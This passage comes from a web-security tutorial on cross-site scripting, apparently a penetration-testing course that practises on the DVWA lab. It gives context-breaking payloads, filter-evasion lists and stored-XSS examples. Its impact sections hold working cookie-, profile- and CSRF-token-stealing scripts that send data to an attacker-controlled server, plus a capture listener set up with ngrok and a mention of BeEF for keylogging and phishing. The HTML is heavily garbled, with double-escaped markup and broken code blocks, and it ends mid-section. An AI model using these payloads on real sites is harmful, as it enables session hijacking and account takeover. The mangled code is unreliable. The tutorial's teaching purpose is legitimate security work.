&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;&lt;br&gt;
Dangerous characters:&lt;/code&gt;&amp;lt;&lt;code&gt;,&lt;/code&gt;&amp;gt;&lt;code&gt;,&lt;/code&gt;&amp;amp;&lt;code&gt;&lt;br&gt;
Basic payload:&lt;/code&gt;alert(1)`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTML attribute context:&lt;/strong&gt;&lt;br&gt;
Input is reflected inside an HTML attribute value.&lt;br&gt;
&lt;code&gt;`html&lt;br&gt;
&amp;lt;input value="[INPUT]" type="text"&amp;gt;&lt;br&gt;
`&lt;/code&gt;&lt;br&gt;
You must first close the attribute, then close the tag, then inject script:&lt;br&gt;
&lt;code&gt;" onmouseover="alert(1)"&lt;/code&gt; — adds an event handler attribute&lt;br&gt;
&lt;code&gt;"&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt; — closes the attribute and tag, injects new element&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;JavaScript string context:&lt;/strong&gt;&lt;br&gt;
Input is reflected inside a JavaScript string literal.&lt;br&gt;
&lt;code&gt;`javascript&lt;br&gt;
var searchTerm = '[INPUT]';&lt;br&gt;
`&lt;/code&gt;&lt;br&gt;
You must break out of the string first:&lt;br&gt;
&lt;code&gt;'; alert(1); //&lt;/code&gt;&lt;br&gt;
This closes the string, executes the script, and comments out the remainder.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTML attribute with JavaScript context (event handlers):&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;`html&lt;br&gt;
&amp;lt;img src="x" onerror="handleError('[INPUT]')"&amp;gt;&lt;br&gt;
`&lt;/code&gt;&lt;br&gt;
Escape the JavaScript string context:&lt;br&gt;
&lt;code&gt;'); alert(1); //&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;URL context:&lt;/strong&gt;&lt;br&gt;
Input is reflected inside a URL attribute like &lt;code&gt;href&lt;/code&gt; or &lt;code&gt;src&lt;/code&gt;:&lt;br&gt;
&lt;code&gt;`html&lt;br&gt;
&amp;lt;a href="[INPUT]"&amp;gt;Click here&amp;lt;/a&amp;gt;&lt;br&gt;
`&lt;/code&gt;&lt;br&gt;
Use JavaScript protocol:&lt;br&gt;
&lt;code&gt;javascript:alert(1)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Understanding context is the difference between a tester who confirms XSS and one who can actually exploit it.&lt;/strong&gt; If you inject &lt;code&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt; but the reflection is inside a JavaScript string, it will not work. If the reflection is inside an HTML attribute, you need attribute-context payloads. Recognizing context from the page source is a fundamental skill.&lt;/p&gt;
&lt;h4&gt;
  
  
  DOM XSS — A Completely Different Attack Architecture
&lt;/h4&gt;

&lt;p&gt;DOM-based XSS requires a shift in how you think about the attack. In reflected and stored XSS, the vulnerability is that the &lt;strong&gt;server&lt;/strong&gt; outputs unsanitized data into HTML. In DOM XSS, the &lt;strong&gt;server's output is fine&lt;/strong&gt;. The vulnerability is in the client-side JavaScript that reads from a source and writes to a sink without sanitization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sources&lt;/strong&gt; — where the JavaScript reads attacker-controlled data:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;document.URL&lt;/code&gt; / &lt;code&gt;document.location&lt;/code&gt; — current URL&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;document.location.href&lt;/code&gt; — full URL including fragment (&lt;code&gt;#&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;document.location.hash&lt;/code&gt; — the fragment identifier (after &lt;code&gt;#&lt;/code&gt;) — never sent to server&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;document.referrer&lt;/code&gt; — referring page URL&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;document.cookie&lt;/code&gt; — cookie values&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;localStorage&lt;/code&gt; / &lt;code&gt;sessionStorage&lt;/code&gt; — web storage&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;window.name&lt;/code&gt; — survives page navigation across origins&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;postMessage&lt;/code&gt; events — messages from other frames or windows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Sinks&lt;/strong&gt; — where the JavaScript writes data and dangerous execution can occur:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;element.innerHTML = source&lt;/code&gt; — most dangerous: injects arbitrary HTML including scripts&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;document.write(source)&lt;/code&gt; — writes raw HTML to the document&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;eval(source)&lt;/code&gt; — executes the source as JavaScript code directly&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;setTimeout(source, time)&lt;/code&gt; — executes string as JavaScript&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;setInterval(source, time)&lt;/code&gt; — executes string as JavaScript&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;element.src = source&lt;/code&gt; — if set to &lt;code&gt;javascript:&lt;/code&gt; protocol&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;window.location = source&lt;/code&gt; — can navigate to &lt;code&gt;javascript:&lt;/code&gt; URL&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;element.setAttribute('onclick', source)&lt;/code&gt; — adds executable event handlers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;DOM XSS example:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The URL: &lt;code&gt;https://target.com/page#&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The client-side JavaScript:&lt;br&gt;
&lt;code&gt;`javascript&lt;br&gt;
// VULNERABLE: reads from URL fragment (never sent to server) and writes to innerHTML&lt;br&gt;
document.getElementById('welcome').innerHTML = document.location.hash.substring(1);&lt;br&gt;
`&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Because the hash is read client-side and written to &lt;code&gt;innerHTML&lt;/code&gt;, the server never sees the payload. Server logs show no injection. Server output is clean HTML. Yet the browser executes the attacker's script.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why DOM XSS is harder to find:&lt;/strong&gt;&lt;br&gt;
Traditional web scanners send HTTP requests and analyze responses. Since the server's response contains no injection in DOM XSS, response-based scanning misses it completely. DOM XSS requires JavaScript execution for analysis — tools like &lt;strong&gt;Burp Suite's DOM Invader&lt;/strong&gt; or &lt;strong&gt;DOMPurify's test suite&lt;/strong&gt; can find these, as can manual JavaScript code review.&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;javascript&lt;br&gt;
// Tools and techniques for DOM XSS hunting:&lt;/p&gt;

&lt;p&gt;// 1. Burp Suite DOM Invader (browser extension):&lt;br&gt;
// Automatically instruments the DOM to detect sources and sinks&lt;br&gt;
// Navigate the target application with DOM Invader active&lt;br&gt;
// It highlights every source→sink flow for investigation&lt;/p&gt;

&lt;p&gt;// 2. Manual source review — search JS files for dangerous patterns:&lt;br&gt;
// These regex patterns in source code indicate potential DOM XSS sinks:&lt;br&gt;
innerHTML&lt;br&gt;
outerHTML&lt;br&gt;
document.write&lt;br&gt;
document.writeln&lt;br&gt;
eval(&lt;br&gt;
setTimeout(&lt;br&gt;
setInterval(&lt;br&gt;
location.href&lt;br&gt;
location.hash&lt;br&gt;
location.search&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;


&lt;h3&gt;
  
  
  6.7.3 Practice — Reflected XSS Attacks
&lt;/h3&gt;
&lt;h4&gt;
  
  
  The Step-by-Step Testing Methodology
&lt;/h4&gt;

&lt;p&gt;Reflected XSS testing is systematic: find inputs, understand the reflection context, craft context-appropriate payloads, confirm execution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Find all input reflection points&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Every parameter that might be reflected must be tested:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;URL query parameters: &lt;code&gt;?search=&lt;/code&gt;, &lt;code&gt;?id=&lt;/code&gt;, &lt;code&gt;?name=&lt;/code&gt;, &lt;code&gt;?message=&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;URL path segments: &lt;code&gt;/user/alice&lt;/code&gt; where "alice" appears in the response&lt;/li&gt;
&lt;li&gt;POST body parameters: form inputs reflected back on error pages&lt;/li&gt;
&lt;li&gt;HTTP headers: User-Agent, Referer, X-Forwarded-For (some appear in error pages or analytics)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Send a unique test string to identify reflection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before injecting JavaScript, identify where and how your input appears in the HTML. Send a unique, harmless string:&lt;br&gt;
&lt;code&gt;`&lt;br&gt;
xss123test&lt;br&gt;
`&lt;/code&gt;&lt;br&gt;
Search the page source for this string. Find every location where it appears and note the surrounding HTML context.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Determine the context and craft the appropriate payload&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Context Found&lt;/th&gt;
&lt;th&gt;Your Test String Appears In&lt;/th&gt;
&lt;th&gt;Context-Breaking Payload&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Between HTML tags&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;p&amp;gt;xss123test&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Inside double-quoted attribute&lt;/td&gt;
&lt;td&gt;&lt;code&gt;value="xss123test"&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;" onmouseover="alert(1)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Inside single-quoted attribute&lt;/td&gt;
&lt;td&gt;&lt;code&gt;value='xss123test'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;' onmouseover='alert(1)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Inside JavaScript string (double)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;var x = "xss123test";&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;"; alert(1); //&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Inside JavaScript string (single)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;var x = 'xss123test';&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;'; alert(1); //&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Inside JavaScript template literal&lt;/td&gt;
&lt;td&gt;&lt;code&gt; var x = `xss123test`; &lt;/code&gt;&lt;/td&gt;
&lt;td&gt;`&lt;code&gt; &lt;/code&gt;; alert(1); &lt;code&gt;&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Inside HTML href/src attribute&lt;/td&gt;
&lt;td&gt;&lt;code&gt;href="xss123test"&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;javascript:alert(1)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;After &lt;code&gt;?&lt;/code&gt; in URL inside href&lt;/td&gt;
&lt;td&gt;&lt;code&gt;href="/path?x=xss123test"&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Step 4: Test the payload, observe the result&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Use Burp Suite Repeater to send modified requests. Observe the response in Burp's HTML Render tab. When the alert fires, XSS is confirmed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Practicing on DVWA — Reflected XSS:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;DVWA's Reflected XSS page (Low security) takes a "What's your name?" input and reflects it back.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;br&gt;
Input: alert(&amp;amp;#39;XSS&amp;amp;#39;)&lt;br&gt;
Result: Alert fires — XSS confirmed at Low security&lt;/p&gt;

&lt;p&gt;Medium security adds some filtering. Test with:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/x" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/x" width="800" height="400"&gt;&lt;/a&gt;&lt;br&gt;
&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;High security: Read the source code to see exactly what filtering is applied,&lt;br&gt;
then craft a bypass specific to that filter.&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  The Impact Demonstration — From Alert to Session Theft
&lt;/h4&gt;

&lt;p&gt;An &lt;code&gt;alert(1)&lt;/code&gt; payload is proof of concept. In a real assessment, you need to demonstrate actual impact to convey the true severity. The most impactful and clearest demonstration is session cookie theft:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`javascript&lt;br&gt;
// Session theft payload — sends the victim's cookies to your server:&lt;/p&gt;


var img = new Image();
img.src = 'https://your-server.com/capture?cookie=' + encodeURIComponent(document.cookie);


&lt;p&gt;// For HttpOnly cookies (not readable via document.cookie), demonstrate XSS impact&lt;br&gt;
// by making an authenticated request and exfiltrating the response:&lt;/p&gt;


fetch('/api/user/profile')
  .then(r =&amp;gt; r.json())
  .then(data =&amp;gt; {
    fetch('https://your-server.com/capture', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });


&lt;p&gt;// CSRF token theft — enables forging authenticated requests:&lt;/p&gt;


var req = new XMLHttpRequest();
req.open('GET', '/account/settings', true);
req.onload = function() {
  var match = req.responseText.match(/name="csrf_token" value="([^"]+)"/);
  if (match) {
    fetch('https://your-server.com/capture?csrf=' + match[1]);
  }
};
req.send();


&lt;p&gt;`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Setting up a simple capture server on Kali:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`bash&lt;/p&gt;
&lt;h1&gt;
  
  
  Python HTTP listener (captures GET requests):
&lt;/h1&gt;

&lt;p&gt;python3 -m http.server 8000&lt;/p&gt;
&lt;h1&gt;
  
  
  Ngrok for tunneling (makes your local server accessible from the internet):
&lt;/h1&gt;

&lt;p&gt;ngrok http 8000&lt;/p&gt;
&lt;h1&gt;
  
  
  Returns a public URL like: &lt;a href="https://abc123.ngrok.io" rel="noopener noreferrer"&gt;https://abc123.ngrok.io&lt;/a&gt;
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Your capture URL: &lt;a href="https://abc123.ngrok.io/capture?cookie=" rel="noopener noreferrer"&gt;https://abc123.ngrok.io/capture?cookie=&lt;/a&gt;...
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Incoming cookie captures appear in ngrok's web interface at localhost:4040
&lt;/h1&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;


&lt;h3&gt;
  
  
  6.7.4 Stored XSS Attacks
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Why Stored XSS Is More Dangerous Than Reflected
&lt;/h4&gt;

&lt;p&gt;Stored XSS (also called persistent XSS) changes the attack model fundamentally. Instead of needing to deliver a crafted URL to a specific victim, the attacker injects a payload that persists on the server and executes for every user who views the infected content — automatically, without any further attacker action.&lt;/p&gt;

&lt;p&gt;Consider these scenarios:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scenario 1 — Comment section XSS:&lt;/strong&gt;&lt;br&gt;
An attacker posts a comment containing a script payload on a blog with 50,000 readers. Every person who loads the blog page executes the script. The attacker's payload runs in 50,000 browsers over the next days and weeks. The attacker only acted once.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scenario 2 — Stored XSS in an admin notification panel:&lt;/strong&gt;&lt;br&gt;
An attacker submits a support ticket containing a payload. When any administrator opens the support queue to read the ticket, the script executes in their privileged browser session. The attacker can extract the admin's CSRF token, use it to add a new administrator account, and achieve administrative access to the application — all triggered when an admin clicks "View Tickets."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scenario 3 — Profile XSS:&lt;/strong&gt;&lt;br&gt;
An attacker stores a payload in their profile biography. Any user who views that profile executes the script. If the biography is displayed on a social platform with millions of users, the scale is massive.&lt;/p&gt;

&lt;p&gt;The severity hierarchy: Stored XSS in an admin-visible location is almost always Critical. Stored XSS visible only to the attacker themselves is Low (they are attacking themselves). Stored XSS visible to regular users is High. The location and audience of the persistence is the primary severity determinant.&lt;/p&gt;
&lt;h4&gt;
  
  
  Where Stored XSS Appears — Attack Surface Mapping
&lt;/h4&gt;

&lt;p&gt;Every location where user input is stored and subsequently displayed to other users is a potential stored XSS target:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Comment fields on blog posts, articles, tickets&lt;/li&gt;
&lt;li&gt;Forum posts and replies&lt;/li&gt;
&lt;li&gt;User profile fields (name, biography, location, job title)&lt;/li&gt;
&lt;li&gt;Product reviews and ratings&lt;/li&gt;
&lt;li&gt;Chat messages&lt;/li&gt;
&lt;li&gt;Log viewers that display user activity&lt;/li&gt;
&lt;li&gt;Error logs rendered in web-based admin panels&lt;/li&gt;
&lt;li&gt;User-Agent and Referer headers stored in access logs&lt;/li&gt;
&lt;li&gt;Upload filenames displayed in file management interfaces&lt;/li&gt;
&lt;li&gt;Email addresses displayed in admin panels (if registered with a malicious address)&lt;/li&gt;
&lt;li&gt;Any form of user-generated content displayed to others&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The subtle attack surfaces often missed:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;HTTP headers are frequently logged and displayed in admin analytics dashboards. If the admin panel shows "Recent Requests" with the User-Agent and Referer from each visitor, storing XSS in those headers provides persistent execution in every admin's browser when they view the analytics panel.&lt;/p&gt;

&lt;p&gt;File upload attack: Upload a file with a name like &lt;code&gt;"&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;.jpg&lt;/code&gt;. If the filename is stored in the database and displayed unsanitized in the file management interface, every user viewing that interface executes the payload.&lt;/p&gt;
&lt;h4&gt;
  
  
  Stored XSS vs Second-Order Injection
&lt;/h4&gt;

&lt;p&gt;Second-order injection is a related concept worth understanding. In standard stored XSS, the payload is injected and executed on the same page. In second-order injection, the payload is stored safely during initial input but then incorporated into a dangerous context later — perhaps when the data is used in a different part of the application that applies different (weaker) sanitization.&lt;/p&gt;

&lt;p&gt;For example: a username is stored with HTML entities escaped, so the profile creation page is safe. But when the username is used to generate an email (&lt;code&gt;"Hello [username]," + email_body&lt;/code&gt;), and that email content is later displayed in the application's sent-mail viewer with different encoding settings, the stored data becomes executable.&lt;/p&gt;

&lt;p&gt;Testing for second-order injection requires tracing how stored data flows through the application — which requires understanding the application's full functionality and data flows, not just testing input fields in isolation.&lt;/p&gt;


&lt;h3&gt;
  
  
  6.7.5 Practice — Stored XSS Attacks
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Testing Stored XSS in DVWA
&lt;/h4&gt;

&lt;p&gt;DVWA's Stored XSS module simulates a guestbook where users leave messages. The name and message are stored in the database and displayed to all visitors.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Low security test:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;br&gt;
Name: Attacker&lt;br&gt;
Message: alert(document.cookie)&lt;/p&gt;

&lt;p&gt;Result: Every visitor to the guestbook page sees the cookie alert.&lt;br&gt;
The message persists until the administrator clears the database.&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Impact escalation — steal admin session:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`javascript&lt;br&gt;
// In DVWA's Stored XSS (Low), inject a payload that phones home with cookies:&lt;/p&gt;


document.write('&amp;lt;img src="http://YOUR_IP:8000/steal?c='+document.cookie+'" /&amp;gt;')


&lt;p&gt;// Start your listener:&lt;br&gt;
python3 -m http.server 8000&lt;/p&gt;

&lt;p&gt;// When the admin reviews the guestbook, your listener receives:&lt;br&gt;
// GET /steal?c=PHPSESSID=abc123; security=low HTTP/1.1&lt;/p&gt;

&lt;p&gt;// Import that PHPSESSID cookie in your browser:&lt;br&gt;
// You are now the admin.&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Medium security bypass:&lt;/strong&gt;&lt;br&gt;
Medium security strips &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags. Use event handler payloads that do not require the script tag:&lt;br&gt;
&lt;code&gt;&lt;/code&gt;&lt;code&gt;&lt;br&gt;
&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;br&gt;
&amp;lt;svg/onload=alert(1)&amp;gt;&lt;br&gt;
&amp;lt;body/onload=alert(1)&amp;gt;&lt;br&gt;
&amp;lt;input autofocus onfocus=alert(1)&amp;gt;&lt;br&gt;
&amp;lt;details open ontoggle=alert(1)&amp;gt;&lt;br&gt;
&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The professional approach — BeEF hook for full browser control:&lt;/strong&gt;&lt;br&gt;
Instead of a simple alert, inject BeEF's hook URL to turn the victim's browser into a command-and-control node:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`html&lt;/p&gt;



&lt;p&gt;`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;When the victim loads the infected page, their browser connects to BeEF. You can then execute dozens of attack modules — screenshots, keylogging, credential phishing with fake dialogs, port scanning the internal network, and more.&lt;/p&gt;


&lt;h3&gt;
  
  
  6.7.6 XSS Evasion Techniques
&lt;/h3&gt;
&lt;h4&gt;
  
  
  The Filter Bypass Mindset
&lt;/h4&gt;

&lt;p&gt;Filters that block XSS are security controls that stand between your payload and execution. Understanding how filters work — and where they fail — is essential for both penetration testing (to confirm real impact) and for defenders (to understand the limits of their controls).&lt;/p&gt;

&lt;p&gt;The key insight: &lt;strong&gt;most XSS filters are blacklist-based&lt;/strong&gt; — they block specific strings like &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; or &lt;code&gt;onerror=&lt;/code&gt;. Blacklists are inherently limited because the HTML specification and browser behavior are extraordinarily permissive. Browsers are designed to render malformed, incomplete, and unusual HTML as gracefully as possible. This permissiveness creates thousands of ways to achieve script execution that bypass any blacklist.&lt;/p&gt;
&lt;h4&gt;
  
  
  Technique 1 — Case Variation
&lt;/h4&gt;

&lt;p&gt;HTML tags are case-insensitive. JavaScript keywords are case-sensitive, but event handler names are not (browsers normalize them):&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`html&lt;/p&gt;

alert(1)

alert(1)

alert(1)

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/x" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/x" width="800" height="400"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/x" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/x" width="800" height="400"&gt;&lt;/a&gt;&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Technique 2 — Encoding the Payload
&lt;/h4&gt;

&lt;p&gt;Browsers decode multiple layers of encoding before executing. If filters operate on the raw input but browsers decode before rendering:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;
&lt;h1&gt;
  
  
  HTML entity encoding — browser decodes before DOM interpretation:
&lt;/h1&gt;

&lt;p&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;br&gt;
→ Browsers render: alert(1)&lt;/p&gt;
&lt;h1&gt;
  
  
  Decimal HTML entities:
&lt;/h1&gt;

&lt;p&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;br&gt;
→ Renders: alert(1)&lt;/p&gt;
&lt;h1&gt;
  
  
  Hex HTML entities:
&lt;/h1&gt;

&lt;p&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;br&gt;
→ Renders: alert(1)&lt;/p&gt;
&lt;h1&gt;
  
  
  URL encoding (for parameters):
&lt;/h1&gt;

&lt;p&gt;%3Cscript%3Ealert(1)%3C%2Fscript%3E&lt;/p&gt;
&lt;h1&gt;
  
  
  Double URL encoding:
&lt;/h1&gt;

&lt;p&gt;%253Cscript%253E&lt;br&gt;
→ First decode: %3Cscript%3E&lt;br&gt;
→ Second decode: &amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="javascript-unicode-escapes-inside-js-string-contexts" href="#javascript-unicode-escapes-inside-js-string-contexts" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  JavaScript unicode escapes (inside JS string contexts):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;\u003cscript\u003ealert(1)\u003c/script\u003e&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="javascript-hex-escapes" href="#javascript-hex-escapes" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  JavaScript hex escapes:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;\x3cscript\x3ealert(1)\x3c/script\x3e&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="technique-3-alternative-tags-and-event-handlers" href="#technique-3-alternative-tags-and-event-handlers" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Technique 3 — Alternative Tags and Event Handlers
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;When &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; is blocked, hundreds of other tags with event handlers work:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`html&amp;lt;/p&amp;gt;

&amp;lt;!-- Image-based execution (fires when src fails to load): --&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;img src=x onerror="alert(1)"&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;img src="javascript:alert(1)"&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;!-- SVG namespace (expands available handlers): --&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;svg onload=alert(1)&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;svg&amp;gt;&amp;lt;script&amp;gt;alert(1)&lt;br&gt;
&lt;/p&gt;



&lt;p&gt;&lt;br&gt;
&lt;br&gt;
&lt;/p&gt;



&lt;p&gt;&lt;br&gt;
&lt;br&gt;
&lt;br&gt;

&amp;lt;br&amp;gt;
&amp;lt;keygen autofocus onfocus=alert(1)&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;!-- Interactive elements: --&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;details open ontoggle=alert(1)&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;details ontoggle=alert(1) open&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;!-- Body element (if injection is in body context): --&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;body onload=alert(1)&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;body onscroll=alert(1)&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;body onresize=alert(1)&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;body onpageshow=alert(1)&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;!-- HTML5 newer elements: --&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;marquee onstart=alert(1)&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;meter onmouseover=alert(1)&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;object data=javascript:alert(1)&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;iframe src=javascript:alert(1)&amp;gt;
```

#### Technique 4 — Breaking Out of Attribute Context

